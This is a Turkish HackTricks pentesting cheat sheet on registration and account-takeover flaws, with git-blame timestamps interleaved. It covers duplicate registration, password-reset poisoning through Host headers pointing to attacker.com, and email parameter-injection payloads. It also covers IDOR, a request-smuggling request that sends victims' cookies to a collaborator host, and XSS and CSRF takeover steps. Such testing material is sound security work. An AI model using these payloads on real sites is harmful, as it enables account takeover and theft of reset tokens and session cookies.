hacktricks/pentesting-web/registration-vulnerabilities.md

203 lines
10 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# Kayıt ve Ele Geçirme Zafiyetleri
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-02-03 14:45:32 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi göndererek **HackTricks** ve **HackTricks Cloud** github depolarına **PR göndererek** paylaşın.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
## Kayıt Ele Geçirme
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
### Yinelemeli Kayıt
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
* Var olan bir kullanıcı adı kullanarak oluşturmayı deneyin
* E-postayı değiştirerek kontrol edin:
* büyük harf
* \+1@
* e-postada nokta ekleyin
* e-posta adında özel karakterler (%00, %09, %20)
* E-postadan sonra siyah karakterler ekleyin: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
### Kullanıcı Adı Sorgulama
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
Uygulama içinde bir kullanıcı adının zaten kaydedilip kaydedilmediğini bulmaya çalışın.
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
### Şifre Politikası
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
Bir kullanıcı oluştururken şifre politikasını kontrol edin (zayıf şifreler kullanabilir misiniz).\
Bu durumda kimlik bilgilerini kaba kuvvet saldırısıyla deneyebilirsiniz.
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
### SQL Enjeksiyonu
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
Kayıt formlarında hesap ele geçirme veya bilgi çalma girişimlerinde bulunmak için **SQL Enjeksiyonları** hakkında bilgi almak için [**bu sayfayı kontrol edin**](sql-injection/#insert-statement).
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
### Oauth Ele Geçirmeleri
2021-06-27 14:55:59 +00:00
2023-02-16 18:26:56 +00:00
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
### SAML Zafiyetleri
2021-06-27 14:55:59 +00:00
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
### E-posta Değiştirme
2024-02-10 18:14:16 +00:00
Kayıt olduktan sonra e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru bir şekilde doğrulandığını veya keyfi e-postalara değiştirilebileceğini kontrol edin.
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
### Diğer Kontroller
2021-06-27 14:55:59 +00:00
2024-02-10 18:14:16 +00:00
* **Geçici e-postaları** kullanıp kullanamayacağınızı kontrol edin
* **Uzun** **şifre** (>200), **DoS**'a neden olur
* Hesap oluşturma üzerindeki **hız sınırlarını kontrol edin**
* username@**burp\_collab**.net kullanın ve **geri çağrıyı** analiz edin
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
## **Şifre Sıfırlama Ele Geçirmesi**
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
### Şifre Sıfırlama Jetonu Referrer Üzerinden Sızıntı <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
1. E-posta adresinize şifre sıfırlama isteği gönderin
2. Şifre sıfırlama bağlantısına tıklayın
3. Şifreyi değiştirmeyin
4. Herhangi bir 3. taraf web sitesine tıklayın (örneğin: Facebook, twitter)
5. Burp Suite proxy'de isteği yakalayın
6. Referer başlığının şifre sıfırlama jetonunu sızdırıp sızdırmadığını kontrol edin.
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
### Şifre Sıfırlama Zehirlenmesi <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
1. Şifre sıfırlama isteğini Burp Suite'de yakalayın
2. Burp Suite'de aşağıdaki başlıkları ekleyin veya düzenleyin: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Değiştirilmiş başlıkla isteği yönlendirin\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _host başlığına_ dayalı bir şifre sıfırlama URL'si arayın: `https://attacker.com/reset-password.php?token=TOKEN`
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
### E-posta Parametresi Aracılığıyla Şifre Sıfırlama <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
2021-11-30 00:17:48 +00:00
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
2024-02-10 18:14:16 +00:00
### API Parametrelerinde IDOR <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
1. Saldırgan, kendi hesabıyla giriş yapmalı ve **Şifre Değiştirme** özelliğine gitmelidir.
2. Burp Suite'i başlatın ve isteği Intercept edin.
3. İsteği repeater sekmesine gönderin ve parametreleri düzenleyin: Kullanıcı Kimliği/e-posta\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
### Zayıf Şifre Sıfırlama Jetonu <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
Şifre sıfırlama jetonu her seferinde rastgele oluşturulmalı ve benzersiz olmalıdır.\
Jetonun süresinin dolup dolmadığını veya her zaman aynı olup olmadığını belirlemeye çalışın, bazı durumlarda üretim algoritması zayıf olabilir ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir.
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
* Zaman damgası
* Kullanıcı Kimliği
* Kullanıcının E-postası
* Ad ve Soyad
* Doğum Tarihi
* Kriptografi
* Sadece sayı
* Küçük jeton dizisi (A-Z, a-z, 0-9 arasındaki karakterler)
* Jeton yeniden kullanımı
* Jetonun süresi dolma tarihi
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
### Şifre Sıfırlama Jetonunun Sızdırılması <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
1. API/UI kullanarak belirli bir e-posta için şifre sıfırlama isteği tetikleyin, örneğin: test@mail.com
2. Sunucu yanıtını inceleyin ve `resetToken` için kontrol edin.
3. Ardından, `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` gibi bir URL'de jetonu kullanın.
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
### Kullanıcı Adı Çakışmasıyla Şifre Sıfırlama <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
1. Sisteme, kurbanın kullanıcı adıyla aynı olan bir kullanıcı adıyla kaydolun, ancak kullanıcı adının önüne ve/veya arkasına boşluk ekleyin. Örneğin: `"admin "`
2. Kötü niyetli kullanıcı adıyla bir şifre sıfırlama isteği yapın.
3. E-postanıza gönderilen jetonu kullanarak kurbanın şifresini sıfırlayın.
4. Yeni şifreyle kurban hesabına bağlanın.
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
CTFd platformu bu saldırıya karşı savunmasızdı.\
Bkz: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
### Cross Site Scripting ile Hesap Ele Geçirme <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
1. Uygulama içinde veya çerezlerin üst etki alanına sahip bir alt etki alanında XSS bulun.
2. Mevcut **oturum çerezini** sızdırın.
3. Çerez kullanarak kullanıcı olarak kimlik doğrulayın.
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
### HTTP İstek Smuggling ile Hesap Ele Geçirme <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
1\. HTTP İstek Smuggling türünü (CL, TE, CL.TE) tespit etmek için **smuggler** kullanın\
2021-11-30 00:17:48 +00:00
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2024-02-10 18:14:16 +00:00
2\. Aşağıdaki verilerle `POST / HTTP/1.1`'i üzerine yazacak bir istek oluşturun:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` kurbanları burpcollab'a yönlendirerek çerezlerini çalma amacıyla\
3\. Son istek aşağıdaki gibi görünebilir
2021-11-30 00:17:48 +00:00
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
2024-02-10 18:14:16 +00:00
Bu hata Hackerone raporları tarafından sömürülmüştür:
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
### CSRF ile Hesap Ele Geçirme <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
1. CSRF için bir payload oluşturun, örneğin: "Parola değişikliği için otomatik gönderimli HTML formu"
2. Payload'ı gönderin
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
### JWT ile Hesap Ele Geçirme <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
JSON Web Token, bir kullanıcının kimlik doğrulaması için kullanılabilir.
2021-11-30 00:17:48 +00:00
2024-02-10 18:14:16 +00:00
* JWT'yi başka bir Kullanıcı Kimliği / E-posta ile düzenleyin
* Zayıf JWT imzasını kontrol edin
2021-11-30 00:17:48 +00:00
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
## Referanslar
2021-11-30 00:17:48 +00:00
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahraman olacak şekilde öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-02-03 14:45:32 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
2022-04-28 16:01:33 +00:00
</details>